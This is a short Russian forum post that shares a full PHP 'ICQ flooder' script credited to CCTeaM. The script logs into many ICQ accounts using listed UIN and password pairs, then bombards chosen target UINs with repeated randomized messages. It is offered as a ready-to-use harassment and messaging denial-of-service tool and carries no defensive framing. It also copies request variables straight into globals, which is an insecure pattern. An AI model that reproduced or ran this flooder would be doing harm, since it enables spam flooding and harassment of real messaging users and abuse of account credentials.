Вот ходил я по сайту Тристама и обнаружил там это творение. Небольшой ПХП сценарий для флуда асек.
Надеюсь Тристам не обидится. Вот код флудера:
Надеюсь Тристам не обидится. Вот код флудера:
Код:
<?php
/*
********************************************************************************
*
* c99icqflood.php v.1.0 (от 1.07.2005)
* Freeware.
* © CCTeaM.
* c99icqflood.php - flood for ICQ
* Check out home page for updates: http://ccteam.ru/releases/c99icqflood
*
* !!! c99phpicq.php >= 0.2b needed !!!
*
* WEB: http://ccteam.ru
* UIN: 656555
*
* Features:
* ~ no proxy
* ~ high speed
*
* 1.07.2005 © Captain Crunch Security TeaM
*
* Coded by tristram
********************************************************************************
*/
srand((double)microtime()*1000003);
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(true);
@set_magic_quotes_runtime(0);
set_time_limit(0);
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
require "c99phpicq.php";
function handle_message($uin)
{
global $message;
$abc = range("a","z");
shuffle($abc);
$rnd10_1 = join("",array_slice($abc,0,10));
shuffle($abc);
$rnd10_2 = join("",array_slice($abc,0,10));
shuffle($abc);
$rnd10_3 = join("",array_slice($abc,0,10));
$message = str_replace("%rnd10%",$rnd10_1,$message);
$message = str_replace("%rnd10_2%",$rnd10_2,$message);
$message = str_replace("%rnd10_3%",$rnd10_3,$message);
$message = str_replace("%uin%",$uin,$message);
return $message;
}
if (!is_array($form)) {$form = array();}
if (!empty($form["submit"]))
{
$starttime = getmicrotime();
$uins = explode("\n",$form["uins"]);
$rippers = explode("\n",$form["rippers"]);
$message = $form["message"];
$sockets = array();
foreach ($uins as $i=>$uin)
{
list($uin,$pass) = explode(";",trim($uin));
$sockets[$i] = new ICQclient($uin,$pass);
$sockets[$i]->connect();
$sockets[$i]->login();
}
$loggedtime = getmicrotime();
foreach ($sockets as $i=>$s)
{
foreach ($rippers as $v) {$v = trim($v); for($i=0;$i<5;$i++) {$sockets[$i]->message_send($v,handle_message($v));}}
}
$donetime = getmicrotime();
echo "<b>DONE!</b>
Flood took ".round($donetime-$starttime,4).
".
Logging part took ".round($loggedtime-$starttime,4).
", sending - ".round($donetime-$loggedtime,4)."";
}
else
{
if (empty($form["uins"])) {$form["uins"] = file_get_contents("newuins.txt");}
}
echo "<form method=\"POST\">
<b>Uins: </b><textarea name=\"form[uins]\" cols=20 rows=10>".htmlspecialchars($form["uins"])."</textarea>
<b>Ripper's UINs: </b><textarea name=\"form[rippers]\" cols=20 rows=10>".htmlspecialchars($form["rippers"])."</textarea>
<b>Message: </b><textarea name=\"form[message]\" cols=40 rows=5>".htmlspecialchars($form["message"])."</textarea>
<input type=\"hidden\" name=\"form[submit]\" value=1><input type=\"submit\" value=\"Flood\"></form><font size=-1>coded by tristram[CCTeaM]. uin 656555. http://ccteam.ru</font>";
?>